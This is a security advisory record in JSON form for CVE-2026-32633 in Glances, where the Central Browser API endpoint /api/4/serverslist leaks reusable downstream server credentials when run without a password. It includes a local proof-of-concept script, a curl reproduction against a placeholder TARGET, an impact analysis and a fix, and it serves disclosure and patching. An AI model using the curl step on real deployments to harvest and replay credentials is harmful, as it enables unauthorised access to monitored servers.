{"id":"CVE-2026-32633","aliases":["GHSA-r297-p3v4-wp8m","PYSEC-2026-343"],"url":"https://o3.security/vulnerability/CVE-2026-32633","summary":"Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`","details":"## Summary\n\nIn Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.\n\nIf the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.\n\n## Details\n\nThe Browser API route simply returns the raw servers list:\n\n```python\n# glances/outputs/glances_restful_api.py:799-805\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])\n```\n\nThe main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:\n\n```python\n# glances/outputs/glances_restful_api.py:475-480\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)\n```\n\nThe Glances web server binds to `0.0.0.0` by default:\n\n```python\n# glances/main.py:425-427\nparser.add_argument(\n    '--bind',\n    default='0.0.0.0',\n    dest='bind_address',\n)\n```\n\nDuring Central Browser polling, server entries are modified in-place and gain a `uri` field:\n\n```python\n# glances/servers_list.py:141-148\ndef __update_stats(self, server):\n    server['uri'] = self.get_uri(server)\n    ...\n    if server['protocol'].lower() == 'rpc':\n        self.__update_stats_rpc(server['uri'], server)\n    elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:\n        self.__update_stats_rest(f\"{server['uri']}/api/{__apiversion__}\", server)\n```\n\nFor protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server['password'] != \"\":\n        if server['status'] == 'PROTECTED':\n            clear_password = self.password.get_password(server['name'])\n            if clear_password is not None:\n                server['password'] = self.password.get_hash(clear_password)\n        uri = 'http://{}:{}@{}:{}'.format(\n            server['username'],\n            server['password'],\n            server['name'],\n            server['port'],\n        )\n    else:\n        uri = 'http://{}:{}'.format(server['name'], server['port'])\n    return uri\n```\n\nPassword lookup falls back to a global default:\n\n```python\n# glances/password_list.py:55-58\ntry:\n    return self._password_dict[host]\nexcept (KeyError, TypeError):\n    return self._password_dict['default']\n```\n\nThe sample configuration explicitly supports browser-wide default password reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# localhost=abc\n# default=defaultpassword\n```\n\nThe secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:56-57\nif args.password != \"\":\n    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n```\n\nThe Browser WebUI also consumes that raw `uri` directly and redirects the user to it:\n\n```javascript\n// glances/outputs/static/js/Browser.vue:83-103\nfetch(\"api/4/serverslist\", { method: \"GET\" })\n...\nwindow.location.href = server.uri;\n```\n\nSo once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.\n\n## PoC\n\n### Step 1: Verified local live proof that server objects contain credential-bearing URIs\n\nThe following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@'\nimport importlib.util\nimport json\nimport sys\nimport threading\nimport types\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom defusedxml import xmlrpc as defused_xmlrpc\n\npkg = types.ModuleType('glances')\npkg.__apiversion__ = '4'\nsys.modules['glances'] = pkg\n\nclient_mod = types.ModuleType('glances.client')\nclass GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):\n    def set_timeout(self, timeout):\n        self.timeout = timeout\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules['glances.client'] = client_mod\n\nglobals_mod = types.ModuleType('glances.globals')\nglobals_mod.json_loads = json.loads\nsys.modules['glances.globals'] = globals_mod\n\nlogger_mod = types.ModuleType('glances.logger')\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules['glances.logger'] = logger_mod\n\npassword_list_mod = types.ModuleType('glances.password_list')\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules['glances.password_list'] = password_list_mod\n\ndynamic_mod = types.ModuleType('glances.servers_list_dynamic')\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules['glances.servers_list_dynamic'] = dynamic_mod\n\nstatic_mod = types.ModuleType('glances.servers_list_static')\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules['glances.servers_list_static'] = static_mod\n\nspec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        _ = self.rfile.read(int(self.headers.get('Content-Length', '0')))\n        self.send_response(401)\n        self.end_headers()\n    def log_message(self, *args):\n        pass\n\nhttpd = HTTPServer(('127.0.0.1', 0), Handler)\nport = httpd.server_address[1]\nthread = threading.Thread(target=httpd.serve_forever, daemon=True)\nthread.start()\n\nclass FakePassword:\n    def get_password(self, host=None):\n        return 'defaultpassword'\n    def get_hash(self, password):\n        return f'hash({password})'\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nsl._columns = [{'plugin': 'system', 'field': 'hr_name'}]\nserver = {\n    'key': f'target:{port}',\n    'name': '127.0.0.1',\n    'ip': '203.0.113.77',\n    'port': port,\n    'protocol': 'rpc',\n    'username': 'glances',\n    'password': '',\n    'status': 'UNKNOWN',\n    'type': 'STATIC',\n}\nsl.get_servers_list = lambda: [server]\n\nsl._GlancesServersList__update_stats(server)\nsl._GlancesServersList__update_stats(server)\nhttpd.shutdown()\nthread.join(timeout=2)\nprint(json.dumps(sl.get_servers_list(), indent=2))\n'@ | python -\n```\n\nVerified output:\n\n```json\n[\n  {\n    \"key\": \"target:57390\",\n    \"name\": \"127.0.0.1\",\n    \"ip\": \"203.0.113.77\",\n    \"port\": 57390,\n    \"protocol\": \"rpc\",\n    \"username\": \"glances\",\n    \"password\": null,\n    \"status\": \"PROTECTED\",\n    \"type\": \"STATIC\",\n    \"uri\": \"http://glances:hash(defaultpassword)@127.0.0.1:57390\",\n    \"columns\": [\n      \"system_hr_name\"\n    ]\n  }\n]\n```\n\nThis is the same raw object shape that `/api/4/serverslist` returns.\n\n### Step 2: Remote reproduction on a live Browser instance\n\n1. Configure Glances Browser mode with a saved default password for downstream servers:\n\n```ini\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start the Browser/API instance without front-end authentication:\n\n```bash\nglances --browser -w -C ./glances.conf\n```\n\n3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.\n\n4. From any machine that can reach the Glances Browser API, fetch the raw server list:\n\n```bash\ncurl -s http://TARGET:61208/api/4/serverslist\n```\n\n5. Observe entries like:\n\n```json\n{\n  \"name\": \"internal-glances.example\",\n  \"status\": \"PROTECTED\",\n  \"uri\": \"http://glances:<pbkdf2_hash>@internal-glances.example:61209\"\n}\n```\n\n## Impact\n\n- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.\n- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.\n- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.\n- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.\n\n## Recommended Fix\n\nDo not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.\n\n```python\n# glances/outputs/glances_restful_api.py\n\ndef _sanitize_server(self, server):\n    safe = dict(server)\n    safe.pop('password', None)\n    safe.pop('uri', None)\n    return safe\n\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    servers = self.servers_list.get_servers_list() if self.servers_list else []\n    return GlancesJSONResponse([self._sanitize_server(server) for server in servers])\n```\n\nAnd in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.","published":"2026-03-18T17:53:11.263Z","modified":"2026-08-12T03:51:48.380605099Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00472,"percentile":0.39754,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"glances","fixedVersion":"4.5.2"}],"fix":{"url":"https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e","label":"nicolargo/glances@879ef86"},"references":[{"type":"WEB","url":"https://github.com/nicolargo/glances/releases/tag/v4.5.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32633.json"},{"type":"ADVISORY","url":"https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32633"},{"type":"FIX","url":"https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e"},{"type":"PACKAGE","url":"https://github.com/nicolargo/glances"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:48.380605099Z"}}